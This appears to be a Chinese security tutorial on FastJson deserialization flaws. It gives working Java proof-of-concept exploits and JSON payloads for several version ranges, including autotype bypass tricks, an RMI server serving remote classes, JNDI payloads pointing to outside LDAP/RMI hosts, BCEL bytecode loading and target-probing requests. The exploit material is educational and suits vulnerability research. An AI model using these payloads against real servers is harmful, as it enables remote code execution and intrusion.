FastJson 反序列化绕过与利用

#FastJson 介绍

FastJson用于对JSON格式的数据进行解析和打包。简单的来说就是处理json格式的数据的。例如将json转换成一个类或者是将一个类转换成一段json数据。

pom.xml

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
//序列化
String str= JSON.toJSONString(user1); 
//结果: {"age":18,"name":"xiaoming"}
String str=JSON.toJSONString(user1, SerializerFeature.WriteClassName);
//结果: {"@type":"fastjson.User","age":18,"name":"xiaoming"}

//反序列化
Object user1 = JSON.parse(str); //解析为Object类型或者JSONArray类型
JSONObject user1 = JSON.parseObject(str); //JSON文本解析成JSONObject类型
User user1 = JSON.parseObject(str, User.class); //JSON文本解析成指定的User.class类

序列化时,传入SerializerFeature.WriteClassName可以使得序列化成JSON的数据多一个@type,这个是代表对象类型的JSON文本。并且FastJson会调用对象成员对应的get方法,被private修饰且没有get方法的成员不会被序列化。

JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObject只是在JSON.parse的基础上做了一个封装。在反序列化时,会调用了指定类的全部的setter(publibc修饰)进行赋值。

Fastjson相关的漏洞是利用autotype在处理json对象的时候,未对@type字段进行安全验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机或通过其中的恶意类执行代码。

#TemplatesImpl 利用链

适用于: FastJason 1.2.22-1.2.24

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.util.Base64;

public class run {
    public static void main(String[] args) {
        try{
            ClassPool pool = ClassPool.getDefault();
            CtClass clas = pool.makeClass("Evil");
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
            clas.makeClassInitializer().insertBefore(cmd);
            clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

            byte[] evilCode = clas.toBytecode();
            String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{"+
                    "\"@type\":\"" + NASTY_CLASS +"\","+
                    "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                    "'_name':'a.b',"+
                    "'_tfactory':{ },"+
                    "'_outputProperties':{ }"+
                    "}\n";

            Object obj = JSON.parseObject(text1, Object.class,Feature.SupportNonPublicField);
        }catch (Exception e)
        {
            e.printStackTrace();
        }

    }
}
  1. @type: 用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,并调用了getOutputProperties方法,实例化了传入的bytecodes类,导致代码执行。

    Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField(支持反序列化时使用非public修饰符的属性)才能触发。

  2. _bytecodes: 继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码

  3. _name: 调用getTransletInstance时会判断其是否为null,为null直接return,所以这里需要它不为空。(可参考cc2和cc4链)。

  4. _tfactory: defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常。

  5. outputProperties: Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成代码执行。

Fastjson中使用TemplatesImpl链的条件比较苛刻,因为parseObject中需要加入Feature.SupportNonPublicField,这种方式并不多见。

#JdbcRowSetImpl 利用链

影响范围: fastjson <= 1.2.24

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

不需要设置Feature.SupportNonPublicField

POC

1
2
3
4
5
6
7
8
9
package fastjson;

import com.alibaba.fastjson.JSON;
public class run {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

dataSourceName参数在解析时候则会调用setDataSourceName对DataSourceName变量进行赋值。autoCommit也一样会调用setAutoCommit方法,在该方法中调用了connect()方法对lookup()传入了DataSourceNamece变量的值。

RMI Server

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
package fastjson;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            String url = "http://127.0.0.1:8080/";
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("test", "test", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("obj", referenceWrapper);
            System.out.println("running");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

test.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import java.io.IOException;
public class test {
    public test() {
    }
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

#FastJson 绕过

#1.2.25 ≤ FastJson ≤ 1.2.41

  1. 自1.2.25起autotype默认为false。

    AutoType为false时只允许白名单的类,但白名单默认是空的,所以该状态不会反序列化任何类。

    AutoType为true时是基于内置黑名单来实现安全的。

  2. 且增加了checkAutoType方法,在该方法中进行黑白名单类校验(从字符串开头进行匹配className.startsWith(deny))。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class run {
    public static void main(String[] args) {
//需要开启autotype
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

这里前面添加L后面添加;的原因是: com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader); 方法中,内容如果为L开头;结尾的话就会将这2个字符清空。

修复方式:

明文黑名单改为HASH值,checkAutoType方法添加L;字符过滤。

#FastJson = 1.2.42

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class run {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

利用了双写的方式,在com.alibaba.fastjson.parser#checkcheckAutoType中将L;进行清空,而在TypeUtils.loadclass中将第二组内容清空。

修复方式:

在1.2.43版本中对了LL开头的绕过进行了封堵。

#FastJson = 1.2.43

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class run {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/obj\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

修复方式:

在1.2.44中将[进行限制。

#FastJson < 1.2.46

利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

1
2
3
4
5
<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.4.6</version>
</dependency>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class run {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/obj\"}}";
        JSON.parse(PoC);
    }
}

修复方式:

1.2.46无法执行成功,应该是把该类拉入了黑名单中。

#1.2.25 ≤ FastJson ≤ 1.2.47

可以直接绕过AutoTypeSupport,即便关闭AutoTypeSupport也能直接执行成功。

  1. 利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过。

  2. 这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson cache为true,就会缓存这个val对应的class到全局map中。

  3. 再次通过checkAutotype检查com.sun.rowset.JdbcRowSetImpl类时,由于之前缓存了该类到map,所以TypeUtils.getClassFromMapping(typeName) == null会一直为false,永远不会抛出异常。接着往下执行从全局map中便获取到了这个class。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package fastjson;

import com.alibaba.fastjson.JSON;

public class run {
    public static void main(String[] args) {
        String PoC = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/obj\",\"autoCommit\":true}}";
        JSON.parse(PoC);
    }
}

修复方式:

在1.2.48中MiscCodec处理Class类的地方设置了cache为false。

在1.2.68引入了safemode,打开safemode时@type完全无用,无论白名单和黑名单,都不支持autoType。

#FastJson < 1.2.66

基于黑名单绕过,autoTypeSupport属性为true才能使用,在1.2.25版本之后autoTypeSupport默认为false

1
2
3
4
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://1.1.1.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://1.1.1.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://1.1.1.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap:/1.1.1.1:1389/Calc"}}

#FastJson ≤ 1.2.68

AutoCloseable利用链,可以看看这个博客 http://b1ue.cn/page/1/

#Fastjson 探测与实际利用

根据报错回显,确定用的是否是FastJson。

例如修改http请求方法GET为POST,添加Content-Type:application/json,在发送一个{"test":"。如果目标开启了报错,则有报错回显。(也可以发送{"@type":"java.lang.AutoCloseAble" 根据报错获取版本信息)

另外一种是用dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用(需要开启autotype)

1
2
3
4
//这几个本地未测成功
{"rand1":{"@type":"java.net.InetAddress","val":"<http://dnslog>"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"<http://dnslog>"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"<http://dnslog>"}}

#Tomcat 加载bcel字节码

再用JdbcRowSetImpl这条链去打的时候,遇到不出网的情况就没办法利用。前面说到过TemplatesImpl可以加载字节码,但在调用parseObject()方法时,需要加入Feature.SupportNonPublicField参数才行。

在tomcat中com.sun.org.apache.bcel.internal.util.ClassLoader的loadclass方法可以进行bcel字节码的加载。该方法也能绕过autotype的限制。

1
2
3
4
5
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

test.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package com;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

#FastJson ≤ 1.2.24

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package fastjson;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class run {
    public static void main(String[] args) {
        try{
            JavaClass cls = Repository.lookupClass(test.class);
            String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码

            String poc = "{{\"aaa\": {\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+ code+ "\"}}: \"bbb\"}";
/*
或者: (这两个都一样的)
"{{\"@type\": \"com.alibaba.fastjson.JSONObject\",\"aaa\": {\"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+ code+ "\"}}:\"bbb\"}"
*/
            System.out.println(poc);
            JSON.parse(poc);
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

注意: tomcat7使用的类是org.apache.tomcat.dbcp.dbcp.BasicDataSource,而在8版本以后名为org.apache.tomcat.dbcp.dbcp2.BasicDataSource

#1.2.36 ≤ FastJson ≤ 1.2.47

利用的是$ref特性:当fastjson版本>=1.2.36时,可以使用$ref的方式来调用任意的getter,比如这个Payload调用的是x.y.c.connection,x是这个大对象,最终调用的是c对象的connection方法,也就是BasicDataSource.connection。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package fastjson;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class run {
    public static void main(String[] args) {
        try{
            JavaClass cls = Repository.lookupClass(test.class);
            String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码

            String poc = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"},\"x\":{\"name\": {\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"y\": \n" +
                    "{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\": {\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
                    "\"driverClassName\":\"$$BCEL$$"+code+"\",\"$ref\":\"$.x.y.c.connection\"}}}}";
            System.out.println(poc);
            JSON.parseObject(poc);
        }catch (Exception e){
            e.printStackTrace();
        }

    }
}

#参考

  1. 一起来看看Fastjson的三种漏洞利用链
  2. Java安全之Fastjson反序列化漏洞分析
  3. Java安全之FastJson JdbcRowSetImpl 链分析
  4. Java动态类加载,当FastJson遇到内网
  5. Fastjson 反序列化漏洞史
加载评论